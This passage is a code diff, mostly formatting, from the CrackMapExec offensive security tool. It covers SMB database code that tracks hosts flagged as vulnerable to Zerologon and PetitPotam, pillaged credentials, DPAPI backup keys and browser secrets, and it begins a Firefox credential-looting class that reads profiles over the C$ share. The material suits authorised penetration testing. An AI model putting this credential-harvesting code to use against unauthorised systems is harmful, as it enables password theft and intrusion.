return [results] # if we're filtering by domain controllers - elif filter_term == 'dc': - q = q.filter( - self.HostsTable.c.dc == True - ) + elif filter_term == "dc": + q = q.filter(self.HostsTable.c.dc == True) if domain: - q = q.filter( - func.lower(self.HostsTable.c.domain) == func.lower(domain) - ) - elif filter_term == 'signing': + q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) + elif filter_term == "signing": # generally we want hosts that are vulnerable, so signing disabled - q = q.filter( - self.HostsTable.c.signing == False - ) - elif filter_term == 'spooler': - q = q.filter( - self.HostsTable.c.spooler == True - ) - elif filter_term == 'zerologon': - q = q.filter( - self.HostsTable.c.zerologon == True - ) - elif filter_term == 'petitpotam': - q = q.filter( - self.HostsTable.c.petitpotam == True - ) - elif filter_term is not None and filter_term.startswith('domain'): + q = q.filter(self.HostsTable.c.signing == False) + elif filter_term == "spooler": + q = q.filter(self.HostsTable.c.spooler == True) + elif filter_term == "zerologon": + q = q.filter(self.HostsTable.c.zerologon == True) + elif filter_term == "petitpotam": + q = q.filter(self.HostsTable.c.petitpotam == True) + elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") - q = q.filter( - self.HostsTable.c.domain.like(like_term) - ) + q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = q.filter( - self.HostsTable.c.ip.like(like_term) | - func.lower(self.HostsTable.c.hostname).like(like_term) + self.HostsTable.c.ip.like(like_term) + | func.lower(self.HostsTable.c.hostname).like(like_term) ) results = self.conn.execute(q).all() cme_logger.debug(f"smb hosts() - results: {results}") @@ -542,9 +543,7 @@ class database: """ Check if this group ID is valid. """ - q = select(self.GroupsTable).filter( - self.GroupsTable.c.id == group_id - ) + q = select(self.GroupsTable).filter(self.GroupsTable.c.id == group_id) results = self.conn.execute(q).first() valid = True if results else False @@ -555,7 +554,7 @@ class database: def add_group(self, domain, name, rid=None, member_count_ad=None): results = self.get_groups(group_name=name, group_domain=domain) - domain = domain.split('.')[0] + domain = domain.split(".")[0] groups = [] updated_ids = [] @@ -564,7 +563,7 @@ class database: "name": name, "rid": rid, "member_count_ad": member_count_ad, - "last_query_time": None + "last_query_time": None, } if not results: @@ -578,11 +577,10 @@ class database: # insert the group and get the returned id right away, this can be refactored when we can use RETURNING q = Insert(self.GroupsTable) - self.conn.execute( - q, - groups + self.conn.execute(q, groups) + new_group_data = self.get_groups( + group_name=group_data["name"], group_domain=group_data["domain"] ) - new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"]) returned_id = [new_group_data[0].id] cme_logger.debug(f"Inserted group with ID: {returned_id[0]}") return returned_id @@ -609,16 +607,12 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.GroupsTable) # .returning(self.GroupsTable.c.id) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update( - index_elements=self.GroupsTable.primary_key, - set_=update_columns + index_elements=self.GroupsTable.primary_key, set_=update_columns ) - self.conn.execute( - q, - groups - ) + self.conn.execute(q, groups) # TODO: always return a list and fix code references to not expect a single integer # inserted_result = res_inserted_result.first() # gid = inserted_result.id @@ -634,39 +628,36 @@ class database: Return groups from the database """ if group_domain: - group_domain = group_domain.split('.')[0] + group_domain = group_domain.split(".")[0] if filter_term and self.is_group_valid(filter_term): - q = select(self.GroupsTable).filter( - self.GroupsTable.c.id == filter_term - ) + q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif group_name and group_domain: q = select(self.GroupsTable).filter( func.lower(self.GroupsTable.c.name) == func.lower(group_name), - func.lower(self.GroupsTable.c.domain) == func.lower(group_domain) + func.lower(self.GroupsTable.c.domain) == func.lower(group_domain), ) elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.GroupsTable).filter( - self.GroupsTable.c.name.like(like_term) - ) + q = select(self.GroupsTable).filter(self.GroupsTable.c.name.like(like_term)) else: q = select(self.GroupsTable).filter() results = self.conn.execute(q).all() cme_logger.debug( - f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}") + f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}" + ) return results def get_group_relations(self, user_id=None, group_id=None): if user_id and group_id: q = select(self.GroupRelationsTable).filter( self.GroupRelationsTable.c.id == user_id, - self.GroupRelationsTable.c.groupid == group_id + self.GroupRelationsTable.c.groupid == group_id, ) elif user_id: q = select(self.GroupRelationsTable).filter( @@ -683,22 +674,16 @@ class database: def remove_group_relations(self, user_id=None, group_id=None): q = delete(self.GroupRelationsTable) if user_id: - q = q.filter( - self.GroupRelationsTable.c.userid == user_id - ) + q = q.filter(self.GroupRelationsTable.c.userid == user_id) elif group_id: - q = q.filter( - self.GroupRelationsTable.c.groupid == group_id - ) + q = q.filter(self.GroupRelationsTable.c.groupid == group_id) self.conn.execute(q) def is_user_valid(self, user_id): """ Check if this User ID is valid. """ - q = select(self.UsersTable).filter( - self.UsersTable.c.id == user_id - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -706,36 +691,30 @@ class database: q = select(self.UsersTable) if self.is_user_valid(filter_term): - q = q.filter( - self.UsersTable.c.id == filter_term - ) + q = q.filter(self.UsersTable.c.id == filter_term) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = q.filter(func.lower(self.UsersTable.c.username).like(like_term)) results = self.conn.execute(q).all() return results def get_user(self, domain, username): q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), - func.lower(self.UsersTable.c.username) == func.lower(username) + func.lower(self.UsersTable.c.username) == func.lower(username), ) results = self.conn.execute(q).all() return results def get_domain_controllers(self, domain=None): - return self.get_hosts(filter_term='dc', domain=domain) + return self.get_hosts(filter_term="dc", domain=domain) def is_share_valid(self, share_id): """ Check if this share ID is valid. """ - q = select(self.SharesTable).filter( - self.SharesTable.c.id == share_id - ) + q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id) results = self.conn.execute(q).all() cme_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}") @@ -751,21 +730,19 @@ class database: "write": write, } share_id = self.conn.execute( - Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), - share_data + Insert( + self.SharesTable + ).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), + share_data, ) # .scalar_one() # return share_id def get_shares(self, filter_term=None): if self.is_share_valid(filter_term): - q = select(self.SharesTable).filter( - self.SharesTable.c.id == filter_term - ) + q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term) elif filter_term: like_term = func.lower(f"%{filter_term}%") - q = select(self.SharesTable).filter( - self.SharesTable.c.name.like(like_term) - ) + q = select(self.SharesTable).filter(self.SharesTable.c.name.like(like_term)) else: q = select(self.SharesTable) results = self.conn.execute(q).all() @@ -786,8 +763,7 @@ class database: def get_users_with_share_access(self, host_id, share_name, permissions): permissions = permissions.lower() q = select(self.SharesTable.c.userid).filter( - self.SharesTable.c.name == share_name, - self.SharesTable.c.hostid == host_id + self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id ) if "r" in permissions: q = q.filter(self.SharesTable.c.read == 1) @@ -810,19 +786,15 @@ class database: if not len(results): pvk_encoded = base64.b64encode(pvk) - backup_key = { - "domain": domain, - "pvk": pvk_encoded - } + backup_key = {"domain": domain, "pvk": pvk_encoded} try: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id) - self.conn.execute( - q, - [backup_key] - ) # .scalar() - cme_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + self.conn.execute(q, [backup_key]) # .scalar() + cme_logger.debug( + f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})" + ) # return inserted_id except Exception as e: cme_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") @@ -834,15 +806,16 @@ class database: """ q = select(self.DpapiBackupkey) if domain is not None: - q = q.filter( - func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain) - ) + q = q.filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain)) results = self.conn.execute(q).all() cme_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") if len(results) > 0: - results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + results = [ + (id_key, domain, base64.b64decode(pvk)) + for id_key, domain, pvk in results + ] return results def is_dpapi_secret_valid(self, dpapi_secret_id): @@ -858,8 +831,15 @@ class database: cme_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") return valid - def add_dpapi_secrets(self, host: str, dpapi_type: str, windows_user: str, username: str, password: str, - url: str = ''): + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): """ Add dpapi secrets to cmedb """ @@ -869,39 +849,42 @@ class database: "windows_user": windows_user, "username": username, "password": password, - "url": url + "url": url, } - q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id) + q = Insert( + self.DpapiSecrets + ).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id) - self.conn.execute( - q, - [secret] - ) # .scalar() + self.conn.execute(q, [secret]) # .scalar() # inserted_result = res_inserted_result.first() # inserted_id = inserted_result.id cme_logger.debug( - f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})" + ) - def get_dpapi_secrets(self, filter_term=None, host: str = None, dpapi_type: str = None, windows_user: str = None, - username: str = None, url: str = None): + def get_dpapi_secrets( + self, + filter_term=None, + host: str = None, + dpapi_type: str = None, + windows_user: str = None, + username: str = None, + url: str = None, + ): """ Get dpapi secrets from cmedb """ q = select(self.DpapiSecrets) if self.is_dpapi_secret_valid(filter_term): - q = q.filter( - self.DpapiSecrets.c.id == filter_term - ) + q = q.filter(self.DpapiSecrets.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif host: - q = q.filter( - self.DpapiSecrets.c.host == host - ) + q = q.filter(self.DpapiSecrets.c.host == host) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] @@ -911,73 +894,60 @@ class database: ) elif windows_user: like_term = func.lower(f"%{windows_user}%") - q = q.filter( - func.lower(self.DpapiSecrets.c.windows_user).like(like_term) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term)) elif username: like_term = func.lower(f"%{username}%") - q = q.filter( - func.lower(self.DpapiSecrets.c.windows_user).like(like_term) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term)) elif url: - q = q.filter( - func.lower(self.DpapiSecrets.c.url) == func.lower(url) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url)) results = self.conn.execute(q).all() cme_logger.debug( - f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}" + ) return results def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, - self.LoggedinRelationsTable.c.hostid == host_id + self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.conn.execute(relation_query).all() # only add one if one doesn't already exist if not results: - relation = { - "userid": user_id, - "hostid": host_id - } + relation = {"userid": user_id, "hostid": host_id} try: cme_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call - q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) + q = Insert( + self.LoggedinRelationsTable + ) # .returning(self.LoggedinRelationsTable.c.id) - self.conn.execute( - q, - [relation] - ) # .scalar() + self.conn.execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(user_id, host_id) - cme_logger.debug(f"Checking if relation was added: {inserted_id_results}") + cme_logger.debug( + f"Checking if relation was added: {inserted_id_results}" + ) return inserted_id_results[0].id except Exception as e: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): - q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) + q = select( + self.LoggedinRelationsTable + ) # .returning(self.LoggedinRelationsTable.c.id) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) results = self.conn.execute(q).all() return results def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.conn.execute(q) diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index f6e406c8..87a83cd4 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -7,7 +7,7 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] @@ -18,11 +18,30 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] links = self.db.get_admin_relations(user_id=cred_id) - data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password]) - print_table(data, title='Credentials') + data.append( + [ + cred_id, + str(len(links)) + " Host(s)", + credtype, + domain, + username, + password, + ] + ) + print_table(data, title="Credentials") def display_groups(self, groups): - data = [['GroupID', 'Domain', 'Name', 'RID', 'Enumerated Members', 'AD Members', 'Last Query Time']] + data = [ + [ + "GroupID", + "Domain", + "Name", + "RID", + "Enumerated Members", + "AD Members", + "Last Query Time", + ] + ] for group in groups: group_id = group[0] @@ -32,25 +51,29 @@ class navigator(DatabaseNavigator): members = len(self.db.get_group_relations(group_id=group_id)) ad_members = group[4] last_query_time = group[5] - data.append([group_id, domain, name, rid, members, ad_members, last_query_time]) - print_table(data, title='Groups') + data.append( + [group_id, domain, name, rid, members, ad_members, last_query_time] + ) + print_table(data, title="Groups") # pull/545 def display_hosts(self, hosts): - data = [[ - 'HostID', - 'Admins', - 'IP', - 'Hostname', - 'Domain', - 'OS', - 'SMBv1', - 'Signing', - 'Spooler', - 'Zerologon', - 'PetitPotam' - ]] - + data = [ + [ + "HostID", + "Admins", + "IP", + "Hostname", + "Domain", + "OS", + "SMBv1", + "Signing", + "Spooler", + "Zerologon", + "PetitPotam", + ] + ] + for host in hosts: host_id = host[0] ip = host[1] @@ -65,33 +88,35 @@ class navigator(DatabaseNavigator): smbv1 = host[6] signing = host[7] except IndexError: - smbv1 = '' - signing = '' + smbv1 = "" + signing = "" try: spooler = host[8] zerologon = host[9] petitpotam = host[10] except IndexError: - spooler = '' - zerologon = '' - petitpotam = '' + spooler = "" + zerologon = "" + petitpotam = "" links = self.db.get_admin_relations(host_id=host_id) - data.append([ - host_id, - str(len(links)) + ' Cred(s)', - ip, - hostname, - domain, - os, - smbv1, - signing, - spooler, - zerologon, - petitpotam - ]) - print_table(data, title='Hosts') - + data.append( + [ + host_id, + str(len(links)) + " Cred(s)", + ip, + hostname, + domain, + os, + smbv1, + signing, + spooler, + zerologon, + petitpotam, + ] + ) + print_table(data, title="Hosts") + def display_shares(self, shares): data = [["ShareID", "host", "Name", "Remark", "Read Access", "Write Access"]] @@ -102,23 +127,21 @@ class navigator(DatabaseNavigator): remark = share[4] users_r_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='r' + host_id=host_id, share_name=name, permissions="r" ) users_w_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='w' + host_id=host_id, share_name=name, permissions="w" + ) + data.append( + [ + share_id, + host_id, + name, + remark, + f"{len(users_r_access)} User(s)", + f"{len(users_w_access)} Users", + ] ) - data.append([ - share_id, - host_id, - name, - remark, - f"{len(users_r_access)} User(s)", - f"{len(users_w_access)} Users" - ]) print_table(data) def do_shares(self, line): @@ -143,20 +166,16 @@ class navigator(DatabaseNavigator): remark = share[4] users_r_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='r' + host_id=host_id, share_name=name, permissions="r" ) users_w_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='w' + host_id=host_id, share_name=name, permissions="w" ) data = [["ShareID", "Name", "Remark"], [share_id, name, remark]] - print_table(data, title='Share') + print_table(data, title="Share") host = self.db.get_hosts(filter_term=host_id)[0] - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS', 'DC']] + data = [["HostID", "IP", "Hostname", "Domain", "OS", "DC"]] host_id = host[0] ip = host[1] @@ -166,10 +185,10 @@ class navigator(DatabaseNavigator): dc = host[5] data.append([host_id, ip, hostname, domain, os, dc]) - print_table(data, title='Share Location') + print_table(data, title="Share Location") if users_r_access: - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for user in users_r_access: userid = user[0] creds = self.db.get_credentials(filter_term=userid) @@ -181,10 +200,10 @@ class navigator(DatabaseNavigator): password = cred[3] credtype = cred[4] data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Users(s) with Read Access') + print_table(data, title="Users(s) with Read Access") if users_w_access: - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for user in users_w_access: userid = user[0] creds = self.db.get_credentials(filter_term=userid) @@ -197,7 +216,7 @@ class navigator(DatabaseNavigator): credtype = cred[4] data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Users(s) with Write Access') + print_table(data, title="Users(s) with Write Access") def help_shares(self): help_string = """ @@ -219,7 +238,17 @@ class navigator(DatabaseNavigator): if len(groups) > 1: self.display_groups(groups) elif len(groups) == 1: - data = [['GroupID', 'Domain', 'Name', 'RID', 'Enumerated Members', 'AD Members', 'Last Query Time']] + data = [ + [ + "GroupID", + "Domain", + "Name", + "RID", + "Enumerated Members", + "AD Members", + "Last Query Time", + ] + ] for group in groups: group_id = group[0] @@ -230,9 +259,28 @@ class navigator(DatabaseNavigator): ad_members = group[4] last_query_time = group[5] - data.append([group_id, domain, name, rid, members, ad_members, last_query_time]) - print_table(data, title='Group') - data = [['CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password']] + data.append( + [ + group_id, + domain, + name, + rid, + members, + ad_members, + last_query_time, + ] + ) + print_table(data, title="Group") + data = [ + [ + "CredID", + "CredType", + "Pillaged From HostID", + "Domain", + "UserName", + "Password", + ] + ] for group in groups: members = self.db.get_group_relations(group_id=group[0]) @@ -249,8 +297,17 @@ class navigator(DatabaseNavigator): credtype = cred[4] pillaged_from = cred[5] - data.append([cred_id, credtype, pillaged_from, domain, username, password]) - print_table(data, title='Member(s)') + data.append( + [ + cred_id, + credtype, + pillaged_from, + domain, + username, + password, + ] + ) + print_table(data, title="Member(s)") def help_groups(self): help_string = """ @@ -272,19 +329,21 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - 'HostID', - 'IP', - 'Hostname', - 'Domain', - 'OS', - 'DC', - 'SMBv1', - 'Signing', - 'Spooler', - 'Zerologon', - 'PetitPotam' - ]] + data = [ + [ + "HostID", + "IP", + "Hostname", + "Domain", + "OS", + "DC", + "SMBv1", + "Signing", + "Spooler", + "Zerologon", + "PetitPotam", + ] + ] host_id_list = [] for host in hosts: @@ -301,38 +360,40 @@ class navigator(DatabaseNavigator): try: dc = host[5] except IndexError: - dc = '' + dc = "" try: smbv1 = host[6] signing = host[7] except IndexError: - smbv1 = '' - signing = '' + smbv1 = "" + signing = "" try: spooler = host[8] zerologon = host[9] petitpotam = host[10] except IndexError: - spooler = '' - zerologon = '' - petitpotam = '' + spooler = "" + zerologon = "" + petitpotam = "" - data.append([ - host_id, - ip, - hostname, - domain, - os, - dc, - smbv1, - signing, - spooler, - zerologon, - petitpotam, - ]) - print_table(data, title='Host') + data.append( + [ + host_id, + ip, + hostname, + domain, + os, + dc, + smbv1, + signing, + spooler, + zerologon, + petitpotam, + ] + ) + print_table(data, title="Host") - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -348,7 +409,7 @@ class navigator(DatabaseNavigator): credtype = cred[4] # pillaged_from = cred[5] data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Credential(s) with Admin Access') + print_table(data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ @@ -374,46 +435,134 @@ class navigator(DatabaseNavigator): if filter_term == "": secrets = self.db.get_dpapi_secrets() - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "browser": secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") secrets += self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") secrets += self.db.get_dpapi_secrets(dpapi_type="IEX") secrets += self.db.get_dpapi_secrets(dpapi_type="FIREFOX") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "chrome": secrets = self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "msedge": secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "credentials": secrets = self.db.get_dpapi_secrets(dpapi_type="CREDENTIAL") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "iex": secrets = self.db.get_dpapi_secrets(dpapi_type="IEX") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "firefox": secrets = self.db.get_dpapi_secrets(dpapi_type="FIREFOX") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") else: secrets = self.db.get_dpapi_secrets(filter_term=filter_term) if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") def help_dpapi(self): help_string = """ @@ -470,7 +619,16 @@ class navigator(DatabaseNavigator): if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: - data = [['CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password']] + data = [ + [ + "CredID", + "CredType", + "Pillaged From HostID", + "Domain", + "UserName", + "Password", + ] + ] cred_id_list = [] for cred in creds: @@ -482,10 +640,12 @@ class navigator(DatabaseNavigator): credtype = cred[4] pillaged_from = cred[5] - data.append([cred_id, credtype, pillaged_from, domain, username, password]) - print_table(data, title='Credential(s)') + data.append( + [cred_id, credtype, pillaged_from, domain, username, password] + ) + print_table(data, title="Credential(s)") - data = [['GroupID', 'Domain', 'Name']] + data = [["GroupID", "Domain", "Name"]] for cred_id in cred_id_list: links = self.db.get_group_relations(user_id=cred_id) @@ -499,9 +659,9 @@ class navigator(DatabaseNavigator): name = group[2] data.append([group_id, domain, name]) - print_table(data, title='Member of Group(s)') + print_table(data, title="Member of Group(s)") - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -517,7 +677,7 @@ class navigator(DatabaseNavigator): os = host[4] data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Admin Access to Host(s)') + print_table(data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ @@ -540,7 +700,12 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -557,7 +722,7 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove", "dc"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -567,6 +732,6 @@ class navigator(DatabaseNavigator): """ commands = ["add", "remove", "hash", "plaintext"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/smb/firefox.py b/cme/protocols/smb/firefox.py index e5e07a7d..fde19504 100644 --- a/cme/protocols/smb/firefox.py +++ b/cme/protocols/smb/firefox.py @@ -7,36 +7,46 @@ import json import ntpath import sqlite3 import tempfile -from Cryptodome.Cipher import AES,DES3 +from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection -CKA_ID = unhexlify('f8000000000000000000000000000001') +CKA_ID = unhexlify("f8000000000000000000000000000001") + class FirefoxData: - def __init__(self, winuser: str, url:str, username:str, password:str): + def __init__(self, winuser: str, url: str, username: str, password: str): self.winuser = winuser self.url = url self.username = username self.password = password - + class FirefoxTriage: """ - Firefox by @zblurx - Inspired by firefox looting from DonPAPI - https://github.com/login-securite/DonPAPI + Firefox by @zblurx + Inspired by firefox looting from DonPAPI + https://github.com/login-securite/DonPAPI """ - firefox_generic_path = 'Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles' - share = 'C$' - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] - def __init__(self, target, logger, conn:DPLootSMBConnection = None): + firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" + share = "C$" + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] + + def __init__(self, target, logger, conn: DPLootSMBConnection = None): self.target = target self.logger = logger self.conn = conn - def upgrade_connection(self, connection = None): + def upgrade_connection(self, connection=None): self.conn = DPLootSMBConnection(self.target) if connection is not None: self.conn.smb_session = connection @@ -52,63 +62,91 @@ class FirefoxTriage: users = self.get_users() for user in users: try: - directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user)) + directories = self.conn.remote_list_dir( + share=self.share, path=self.firefox_generic_path.format(user) + ) except Exception as e: - if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.debug(e) if directories is None: continue - for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: + for d in [ + d + for d in directories + if d.get_longname() not in self.false_positive and d.is_directory() > 0 + ]: try: - 